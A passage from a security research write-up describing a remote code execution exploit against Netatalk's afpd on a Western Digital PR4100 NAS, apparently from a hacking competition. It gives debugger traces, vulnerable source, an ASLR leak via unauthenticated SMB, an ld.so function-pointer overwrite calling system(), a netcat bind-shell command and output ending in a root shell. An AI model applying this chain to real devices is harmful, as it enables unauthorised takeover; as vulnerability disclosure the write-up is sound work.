#7 0x00007f423dc40997 in __pthread_once_slow (once_control=0x7f423dc2ef80 <once>, init_routine=0x7f423db771b0 <init>) at pthread_once.c:116
#8 0x00007f423db77304 in __GI___backtrace (array=<optimised out>, size=<optimised out>) at backtrace.c:106
#9 0x00007f423ddcd6db in netatalk_panic () from symbols/lib64/libatalk.so.18
#10 0x00007f423ddcd902 in ?? () from symbols/lib64/libatalk.so.18
#11 0x00007f423ddcd958 in ?? () from symbols/lib64/libatalk.so.18
Reading in symbols for ../sysdeps/unix/sysv/linux/x86_64/sigaction.c...done.
#12 <signal handler called>
#13 __memmove_sse2_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:238
#14 0x00007f423dda6fd0 in ad_rebuild_adouble_header_osx () from symbols/lib64/libatalk.so.18
#15 0x00007f423ddaa985 in ?? () from symbols/lib64/libatalk.so.18
#16 0x00007f423ddaaf34 in ?? () from symbols/lib64/libatalk.so.18
#17 0x00007f423ddad7b0 in ?? () from symbols/lib64/libatalk.so.18
#18 0x00007f423ddad9e1 in ?? () from symbols/lib64/libatalk.so.18
#19 0x00007f423ddae56c in ad_open () from symbols/lib64/libatalk.so.18
#20 0x000055cd275c1ea7 in afp_openfork ()
#21 0x000055cd275a386e in afp_over_dsi ()
#22 0x000055cd275c6ba3 in ?? ()
#23 0x000055cd275c68fd in main ()
We can see that it crashes on a call
instruction where we control both the first argument and the argument.
(remote-gdb) x /i $pc
=> 0x7f423de3eb50 <_dl_open+48>: call QWORD PTR [rip+0x16412] # 0x7f423de54f68 <_rtld_global+3848>
(remote-gdb) x /gx 0x7f423de54f68
0x7f423de54f68 <_rtld_global+3848>: 0x4242424242424242
(remote-gdb) x /s $rdi
0x7f423de54968 <_rtld_global+2312>: 'A' <repeats 35 times>
Checking ld-2.28.so
in IDA, we see that it is due to dl_open()
calling the _dl_rtld_lock_recursive
function pointer and passing a pointer to the _dl_load_lock
lock.
void *__fastcall dl_open( const char *file, int mode, const void *caller_dlopen, Lmid_t nsid, int argc, char **argv, char **env) { // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND] if ( (mode & 3) == 0 ) _dl_signal_error(0x16, file, 0LL, "invalid mode for dlopen()"); rtld_local._dl_rtld_lock_recursive(&rtld_local._dl_load_lock);
Both the function pointer and the lock argument are part of the _rtld_local
global which resides in the .data
section.
.data:0000000000028060 ; rtld_global rtld_local
.data:0000000000028060 _rtld_local dq 0
This makes it a quite generic method to call an arbitrary function with one argument when we are able to overwrite the ld.so
.data
section.
NOTE: there was a similar technique (though a bit different) detailed in here.
Our goal is to execute an arbitrary command by overwriting the lock to contain a shell command to execute and overwriting the function pointer with the system()
address.
Luckily, we know already that we have controlled data passed to the system()
function, so we don’t need to know where it is in memory.
However, due to ASLR, we have no idea where the system()
function is. So we need some kind of leak primitive to bypass ASLR.
If we look again at the previous backtrace, we see it actually crashed in ad_rebuild_adouble_header_osx()
. More specifically we see that the following happens in ad_convert_osx()
:
mmap()
memmove()
is called to discard the FinderInfo partad_rebuild_adouble_header_osx()
is calledmunmap()
//netatalk-3.1.12/libatalk/adouble/ad_open.c /** * Convert from Apple's ._ file to Netatalk * * Apple's AppleDouble may contain a FinderInfo entry longer then 32 bytes * containing packed xattrs. Netatalk can't deal with that, so we * simply discard the packed xattrs. * * As we call ad_open() which might result in a recursion, just to be sure * use static variable in_conversion to check for that. * * Returns -1 in case an error occured, 0 if no conversion was done, 1 otherwise **/ static int ad_convert_osx(const char *path, struct adouble *ad) { EC_INIT; static bool in_conversion = false; char *map; int finderlen = ad_getentrylen(ad, ADEID_FINDERI); ssize_t origlen; if (in_conversion || finderlen == ADEDLEN_FINDERI) return 0; in_conversion = true; LOG(log_debug, logtype_ad, "Converting OS X AppleDouble %s, FinderInfo length: %d", fullpathname(path), finderlen); origlen = ad_getentryoff(ad, ADEID_RFORK) + ad_getentrylen(ad, ADEID_RFORK); map = mmap(NULL, origlen, PROT_READ | PROT_WRITE, MAP_SHARED, ad_reso_fileno(ad), 0); if (map == MAP_FAILED) { LOG(log_error, logtype_ad, "mmap AppleDouble: %s\n", strerror(errno)); EC_FAIL; } memmove(map + ad_getentryoff(ad, ADEID_FINDERI) + ADEDLEN_FINDERI, map + ad_getentryoff(ad, ADEID_RFORK), ad_getentrylen(ad, ADEID_RFORK)); ad_setentrylen(ad, ADEID_FINDERI, ADEDLEN_FINDERI); ad->ad_rlen = ad_getentrylen(ad, ADEID_RFORK); ad_setentryoff(ad, ADEID_RFORK, ad_getentryoff(ad, ADEID_FINDERI) + ADEDLEN_FINDERI); EC_ZERO_LOG( ftruncate(ad_reso_fileno(ad), ad_getentryoff(ad, ADEID_RFORK) + ad_getentrylen(ad, ADEID_RFORK)) ); (void)ad_rebuild_adouble_header_osx(ad, map); munmap(map, origlen);
The ad_rebuild_adouble_header_osx()
function is shown below. This function is responsible for writing back the content of the adouble
structure
into the mapped file region in the AppleDouble format so it is saved into the file on disk.
//netatalk-3.1.12/libatalk/adouble/ad_flush.c /*! * Prepare adbuf buffer from struct adouble for writing on disk */ int ad_rebuild_adouble_header_osx(struct adouble *ad, char *adbuf) { uint32_t temp; uint16_t nent; char *buf; LOG(log_debug, logtype_ad, "ad_rebuild_adouble_header_osx"); buf = &adbuf[0]; temp = htonl( ad->ad_magic ); memcpy(buf, &temp, sizeof( temp )); buf += sizeof( temp ); temp = htonl( ad->ad_version ); memcpy(buf, &temp, sizeof( temp )); buf += sizeof( temp ); memcpy(buf, AD_FILLER_NETATALK, strlen(AD_FILLER_NETATALK)); buf += sizeof( ad->ad_filler ); nent = htons(ADEID_NUM_OSX); memcpy(buf, &nent, sizeof( nent )); buf += sizeof( nent ); /* FinderInfo */ temp = htonl(EID_DISK(ADEID_FINDERI)); memcpy(buf, &temp, sizeof( temp )); buf += sizeof( temp ); temp = htonl(ADEDOFF_FINDERI_OSX); memcpy(buf, &temp, sizeof( temp )); buf += sizeof( temp ); temp = htonl(ADEDLEN_FINDERI); memcpy(buf, &temp, sizeof( temp )); buf += sizeof( temp ); memcpy(adbuf + ADEDOFF_FINDERI_OSX, ad_entry(ad, ADEID_FINDERI), ADEDLEN_FINDERI); /* rfork */ temp = htonl( EID_DISK(ADEID_RFORK) ); memcpy(buf, &temp, sizeof( temp )); buf += sizeof( temp ); temp = htonl(ADEDOFF_RFORK_OSX); memcpy(buf, &temp, sizeof( temp )); buf += sizeof( temp ); temp = htonl( ad->ad_rlen); memcpy(buf, &temp, sizeof( temp )); buf += sizeof( temp ); return AD_DATASZ_OSX; }
But if we look at the memcpy()
argument in the debugger, we notice that the source argument is actually referenced from the stack and out of bound:
memcpy(0x7f423de20032, 0x7fffa499bbba, 32)
(gdb) info proc mappings
...
Start Addr End Addr Size Offset objfile
0x7fffa4923000 0x7fffa4969000 0x46000 0x0 [stack]
0x7fffa49f9000 0x7fffa49fc000 0x3000 0x0 [vvar]
0x7fffa49fc000 0x7fffa49fe000 0x2000 0x0 [vdso]
0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]
If you look at the ad_header_read_osx()
code previously mentioned, you’ll notice it is confirmed since there is a struct adouble adosx;
local variable (hence stored on the stack) that is passed all the way to ad_rebuild_adouble_header_osx()
.
So what does it mean? Well, the memcpy()
writes 32 bytes from a stack controlled offset into the memory mapped file region. This means we can make it write arbitrary memory back into the file on disk.
Then we can read the fork file (stored in the AppleDouble file format) using SMB and we can leak that content back to us.
That’s nice, but is there any libc.so
address stored on the stack since we want to call system()
which resides in libc.so
?
It turns out there is one such address since main()
is called from __libc_start_main()
:
.text:0000000000023FB0 __libc_start_main proc near
...
.text:0000000000024099 call rax ; main()
.text:000000000002409B
.text:000000000002409B loc_2409B: ; CODE XREF: __libc_start_main+15A↓j
.text:000000000002409B mov edi, eax
.text:000000000002409D call __GI_exit
By default on the Western Digital PR4100, we can read and write files both in AFP and SMB without requiring authentication, as long as we do it on the Public
share.
We also know that an afpd
child process is forked from the afpd
parent process to handle every client
connection. This means that every child process has the same randomisation for all already loaded
libraries.
To trigger the vulnerability, we need that a mooncake
regular file exists, as well as a careful crafted associated ._mooncake
fork file in the same directory. Then we can call the "FPOpenFork" command over AFP on the mooncake
file and it parses the ._mooncake
fork file (stored in the AppleDouble file format). It ends up calling the ad_convert_osx()
function which is responsible for converting the Apple’s AppleDouble file to a simplified version implemented in Netatalk.
So we first start by creating the mooncake
file. We do it using AFP but we think we could have done it using SMB too. Then we want to trigger the vulnerability twice.
The first time, we craft the ._mooncake
fork file to abuse the memcpy()
in ad_rebuild_adouble_header_osx()
. When triggering the vulnerability:
._mooncake
original fork file is mapped in memory with mmap()
memcpy()
function writes the return address in __libc_start_main()
into the mapped regionmunmap()
function is called and that data is saved into the ._mooncake
fork file on disk.._mooncake
fork file over SMB (as if it was a regular file)This allows deducing the libc.so
base address and computing the system()
address.
The second time, we craft the ._mooncake
fork file to abuse the memmove()
in ad_convert_osx()
. When triggering the vulnerability:
._mooncake
original fork file is mapped in memory with mmap()
memmove()
function overwrites the ld.so
.data
section to corrupt the rtld_local._dl_rtld_lock_recursive
function pointer with the system()
address and the rtld_local._dl_load_lock
data with the shell command to executememcpy()
function crashes due to an invalid access to an unmapped stack addressdl_open()
which makes it call system()
on our arbitrary shell commandWe chose to preliminary drop a statically compiled netcat
using SMB and execute it from the following path: /mnt/HD/HD_a2/Public/tools/netcat -nvlp 9999 -e /bin/sh
.
Below is the exploit in action:
# ./mooncake.py -i 192.168.1.3
(12:26:23) [*] Triggering leak...
(12:26:27) [*] Connected to AFP server
(12:26:27) [*] Leaked libc return address: 0x7f45e23f809b
(12:26:27) [*] libc base: 0x7f45e23d4000
(12:26:27) [*] Triggering system() call...
(12:26:27) [*] Using system address: 0x7f45e24189c0
(12:26:27) [*] Connected to AFP server
(12:26:29) [*] Connection timeout detected :)
(12:26:30) [*] Spawning a shell. Type any command.
uname -a
Linux MyCloudPR4100 4.14.22 #1 SMP Mon Dec 21 02:16:13 UTC 2020 Build-32 x86_64 GNU/Linux
id
uid=0(root) gid=0(root) euid=501(nobody) egid=1000(share) groups=1000(share)
pwd
/mnt/HD/HD_a2/Public/edg
Whilst using the exploit within the competition, the exploit failed on the first attempt during the leak phase. We guessed that this may have been a timing issue with the environment compared to our test environment. Therefore we modified the code to introduce a ‘sleep()’ before leaking to ensure that samba would return the data modified by vulnerable AFP code. Our second attempt got the leak working but failed when trying to connect over telnet, so we added another ‘sleep()’ before connecting over telnet to ensure that the ‘system()’ command was executed correctly. Luckily this worked and this shows that just adding more sleeps is enough to fix unreliable exploits and we were successful on our third and final attempt 🙂